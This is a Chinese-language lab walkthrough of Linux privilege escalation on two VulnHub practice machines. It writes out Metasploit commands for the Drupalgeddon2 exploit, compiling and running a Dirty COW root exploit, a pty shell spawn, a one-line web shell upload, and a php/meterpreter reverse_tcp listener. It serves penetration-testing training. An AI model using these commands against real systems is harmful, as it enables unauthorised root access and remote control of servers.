当前位置：首页 > news >正文

Linux权限提升-内核溢出

news 来源：原创 2025/5/10 17:43:16

一：Web到Linux-内核溢出Dcow

复现环境：https://www.vulnhub.com/entry/lampiao-1,249/

1.信息收集：探测⽬标ip及开发端⼝

2.Web漏洞利⽤：

查找drupal相关漏洞
search drupal
# 进⾏漏洞利⽤
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168. .
set rport 1898
run

3.内核提权：

# 上传内核漏洞检测脚本
upload /root/linux-exploit-suggester.sh /tmp/1.sh
# 进⼊shell，并执⾏提权辅助脚本
shell
cd /tmp
chmod +x 1.sh
./1.sh

https://github.com/gbonacini/CVE-2016-5195

4.发现提权漏洞，上传提权利⽤程序dcow.cpp到服务器
exit
upload /root/dcow.cpp /tmp/dcow.cpp

5. 编译漏洞利⽤程序成功后会在当前⽬录⽣成dcow
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
ls
# 由于本身的终端问题，所以使⽤python终端
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
# 漏洞利⽤成功后使⽤root⽤户密码dirtyCowFun进⾏登录即可
su root
whoami

二：Web到Linux-内核溢出Pwnkit

复现环境：https://www.vulnhub.com/entry/darkhole-1,724/

1.信息收集：探测⽬标ip及开发端⼝

2.Web漏洞利⽤：

重置管理密码，注册新账号，使⽤注册⽤户登录，并重置密码，

使用Bp抓包进行修改管理员密码进入后台，上传一句话木马进入

3. 反弹MSF

将内核检测脚本和综合检测脚本都上传到⽬标服务器的/tmp⽬录

4.启动msf
└─# msfdb run
# 监听本地6666端⼝等待php反弹后⻔连接
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666（端口自己设置）
run